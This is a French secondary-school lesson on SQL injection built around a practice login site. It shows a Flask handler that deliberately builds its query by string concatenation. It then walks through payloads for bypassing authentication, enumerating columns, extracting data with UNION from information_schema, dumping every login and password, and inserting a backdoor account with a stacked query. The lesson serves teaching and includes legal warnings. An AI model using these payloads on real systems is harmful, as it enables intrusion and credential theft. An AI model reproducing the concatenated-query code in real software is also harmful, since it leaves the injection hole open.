Dans cette activité, nous allons découvrir une des failles de sécurité les plus connues sur les systèmes utilisant une base de données.
Toutes les démonstration présentées ne sont à réaliser uniquement sur le site mis à disposition : https://sql.lycee.mabriez.fr/.
Inutile d'essayer ces manipulations sur d'autres systèmes, les failles par injections SQL sont majoritairement bloquées.
Pour information :
- L'accès frauduleux à un système informatique est puni de trois ans d'emprisonnement et de 100.000 euros d'amende.
- L'atteinte aux données est punie de cinq ans d'emprisonnement et de 300.000 euros d'amende.
Pour analyser le fonctionnement de ces faille de sécurité, nous allons utiliser une interface web disponible à l'adresse suivante : https://sql.lycee.mabriez.fr/
Cette page web contient une interface de connexion nécessitant un login et un mot de passe. En validant le formulaire, un message affiche si vous êtes connecté ou non.
Pour comprendre plus précisément son fonctionnement, vous pouvez également retrouver la requête SQL effectués au moment de la connexion.
Pour tester une connexion valide, vous pouvez utiliser les identifiants suivants :
login : pdupond
password : 12345
L'interface affiche un message de validation et le nom et le prénom de l'utilisateur.
Dans la plupart des sites utilisant des interfaces de connexion, l'ensemble des informations des utilisateurs sont stockés dans une base de données.
Pour accepter la connexion d'un utilisateur, il suffit de regarder si son login et son mot de passe sont présents dans la base de données. Il suffit alors d'interroger la base de données afin de trouver un enregistrement correspondant au login et au mot de passe entré par l'utilisateur.
Dans notre cas, la requête SQL pourrait ressembler à l'instruction ci-dessous.
SELECT * FROM Utilisateurs WHERE login = '....' AND password = '....';
Lors que l'on clique sur « Se connecter », les données du formulaire sont envoyées au serveur. Dans le cas d'un serveur avec Flask
, on peut récupérer le login et le mot de passe de l'utilisateur à l'aide du code suivant :
login = request.form['login']
password = request.form['password']
Finalement, nous pouvons assembler les données de l'utilisateur et la requête SQL pour obtenir la requête finale qui sera exécutée. Cette requête permettrea de vérifier que le login et le mot de passe existent vraiment dans la base de données.
login = request.form['login']
password = request.form['password']
requete = "SELECT * FROM Utilisateurs WHERE login='"+login+"' AND password='"+password+"';"
Imaginons alors un système dans lequel on retrouve :
Des personnes peuvent alors utilisés des logins et des mots de passe un peu particuliers...
Dans ce premier exemple, un utilisateur malveillant souhaite se connecter en utilisant le login de quelqu'un d'autre. Il faut alors trouver un moyen pour annuler l'utilisation du mot passe.
Question 1 - Essayer de vous connecter à l'aide des identifiants de connexion suivants :
pdupond';--
Bingo ! Vous avez réussi à vous connecter à au compte de Pierre Dupond sans son mot de passe !
Sur la page de connexion, nous pouvons retrouver la requête effectuée au moment de la validation du formulaire.
SELECT * FROM Utilisateurs WHERE login='pdupond';--' AND password='';
Voici le détail de cette requête :
En injectant du code SQL dans les champs du formulaire de connexion, il est possible de modifier complétement le résultat de la requête. La requête réellement exécutée est la suivante :
En entrant le texte pdupond';--
dans le champ du login,
Avec cette technique, il est possible de contourner d'utilisation du mot de passe.
Dans ce second exemple, un utilisateur malveillant souhaite se connecter sans connaitre le login ,ni le mot de passe d'un utilisateur. Il faut alors trouver un moyen pour contourner l'ensemble des identifiants.
Question 2 - Essayer de vous connecter à l'aide des identifiants de connexion suivants :
' OR id = '1';--
Bingo ! Vous avez réussi à vous connecter à au compte de Pierre Dupond(
id=1
), sans son login, ni son mot de passe !
Il est possible de se connecter aux autres comptes en changeant l'id dans l'injection SQL
Sur la page de connexion, nous pouvons retrouver la requête effectuée au moment de la validation du formulaire.
SELECT * FROM Utilisateurs WHERE login='' AND password='' OR id = '2';
En injectant du code SQL dans les champs du formulaire de connexion, il est possible d'annuler complétement l'utilisation du login et du mot de passe. La requête réellement exécutée est la suivante :
En entrant le texte ' OR id = '1'
dans le champ du mot de passe,
OR
passe prioritaire.id='1'
.Avec cette technique, il est possible de contourner le login et le mot de passe.
En allant un peu plus loin et en utilisant toutes les spécificités du langage SQL, il est possible d'exploiter des failles et d'effectuer des opérations très dangereuses sur les bases de données.
Une chose intéressant pour une personne malveillant serait :
Au début d'une attaque informatique, il faut se renseigner sur le système. Il faut faire en sorte de casser le système et donc de provoquer des erreurs d'exécution afin d'avoir les messages d'erreur.
Si le système est mal configuré, l'erreur s'affichera et pourra être très utile pour utiliser la faille de sécurité.
La première chose à faire est de connaitre le nombre d'attributs de la table qu'on souhaite accéder.
Pour cela, nous allons effectuer plusieurs tests en entrant les informations suivantes dans le formulaire :
' OR id = '1' ORDER BY 1;--
L'élément important ici est l'instruction ORDER BY 1
. Elle permet d'ordonner le résultat sur le premier attribut.
ORDER BY 2
et ainsi de suiteDans notre cas, il faudra essayer jusqu'à
' OR id = '1' ORDER BY 6;--
.
Notre table contient donc 5 attributs.
La deuxième chose à faire est de connaitre le nom de la table qu'on souhaite accéder. Pour cela, nous devons approfondir notre utilisation du SQL et utiliser le mot clé UNION
La commande
UNION
de SQL permet de mettre bout-à-bout les résultats de plusieurs requêtes utilisant elles-même la commandeSELECT
.
C’est donc une commande qui permet de concaténer les résultats de 2 requêtes ou plus.Pour l’utiliser, il est nécessaire que chacune des requêtes à concaténer retourne le même nombre de colonnes, avec les mêmes types de données et dans le même ordre.
Exemple :SELECT colonne1, colonne2, ... FROM table1 UNION SELECT colonne1, colonne2, ... FROM table2;
Pour trouver le nom de notre table, il faut interroger une table spéciale nommée information_schema
. C'est une table particulière que l'on appelle une méta-table, qui contient des informations techniques et structurelles sur la base de données.
Le nom de cette table change selon de SGBD utilisé, il suffit de lire la documentation pour trouver le nom de cette table.
Dans cette table, le SGBD stocke le nom de toutes les tables de la base de données.
Question 3 - Entrer l'injection SQL suivante dans le champ login :
pdupond' UNION SELECT NULL, NULL, NULL, NULL, NULL FROM information_schema.tables ;--
NULL
.Essayons d'aller plus loin dans la recherche d'informations. Avec la documentation du SGBD, on trouve que le nom des tables est accessible depuis l'attribut table_name
de cette table informations_schema
.
Nous pouvons remplacer une des valeurs NULL
par le nom de cet attribut table_name
. Une erreur de conflit de type peut se produire. Il faut alors changer de position et essayer une autre valeur NULL
.
Dans notre cas exemple, cet attribut provoque une erreur en position 0 et 1.
Question 4 - Entrer l'injection SQL suivante dans le champ login.
pdupond' UNION SELECT NULL, NULL, table_name, NULL, NULL FROM information_schema.tables ;--
Le nom d'une table
routine_routine_usage
s'affiche, mais cela ne nous avance pas vraiment.
Il s'agit en réalité du premier enregistrement. Cette requête récupère en réalite l'ensemble des tables existantes.
Question 5 - Entrer l'injection SQL suivante dans le champ login. Cette injection regroupe toutes les lignes obtenues et fait une concaténation des résultats de l'attribut ``table_name.
pdupond' UNION SELECT NULL, NULL, string_agg(table_name, ','),NULL, NULL FROM information_schema.tables;--
Bingo ! L'ensemble des tables s'affiche ! En analysant ce résultat, on trouve une table interessante nommée
utilisateurs
.
Maintenant, et selon la même technique, il est possible de récupérer des informations sur le SGBD en indiquant le nom de la table trouvée précédemment.
Question 6 - Entrer l'injection SQL suivante dans le champ login. Elle utilisation fonction version()
permettant d'obtenir des infos sur le SGBD.
pdupond' UNION SELECT NULL, NULL, version(), NULL, NULL FROM Utilisateurs;--
Bingo ! Le SGBD est PostgrSQL. Il peut être interessant de trouver des failles Zero Day autour de ce SGBD.
On obtient également le système d'exploitation sur lequel tourne le SGBD, ici, Debian 16.
À présent, l'idéal serait de trouver le nom des attributs de la table Utilisateurs
.
Pour cela, il suffit d'interroger la méta-table information_schema.columns
qui contient l'ensemble des attributs de toutes les tables de la base. D'après la documentation, le nom des attributs des tables est stocké dans l'attribut column_name
de la table information_schema.columns
.
Question 7 - Entrer l'injection SQL suivante dans le champ login.
pdupond' UNION SELECT 1, column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = 'utilisateurs' ;--
Super ! Nous obtenons le nom d'un seul attribut !
Question 8 - Entrer l'injection SQL suivante dans le champ login. Cette requête fait une concaténation du résultat.
pdupond' UNION SELECT 1, string_agg(column_name,','), NULL, NULL, NULL FROM information_schema.columns WHERE table_name = 'utilisateurs';--
BIngo ! Nous avons maintenant l'ensemble des attributs de notre table
Utilisateurs
.
Il est maintenant possible d'obtenir l'ensemble des données pour chaque attribut. Il suffit d'indiquer l'attribut souhaité.
Question 9 - Entrer l'injection SQL suivante dans le champ login.
pdupond' UNION SELECT NULL, NULL, string_agg(login, ','), NULL, NULL FROM Utilisateurs;--
Selon le même principe, il est possible de récupérer tous les mots de passe.
Question 10 - Entrer l'injection SQL suivante dans le champ login.
pdupond' UNION SELECT NULL, NULL, string_agg(password,','), NULL,NULL FROM Utilisateurs;--
Maintenant que nous avons accès à l'ensemble des informations de la table, il peut être intéressant pour une personne malveillant d'ajouter un compte dans la base de données. Pour cela, il existe un moyen en SQL de réaliser des requêtes multiples
Il suffit d'écrire les requêtes les une à la suite des autres, en les séparant par un point virgule.
SELECT * FROM utilisateurs ; SELECT * FROM other_tables.
Question 11 - Entrer l'injection SQL suivante dans le champ « mot de passe ».
' OR id = '1'; INSERT INTO utilisateurs(nom, prenom, login, password) VALUES ('Hack', 'User', 'hack', 'nsi');--
Un message d'erreur apparait car aucune données n'est retournée. Mais en essayant
login=hack
etpassword=nsi
, vous pouvez vous connecter !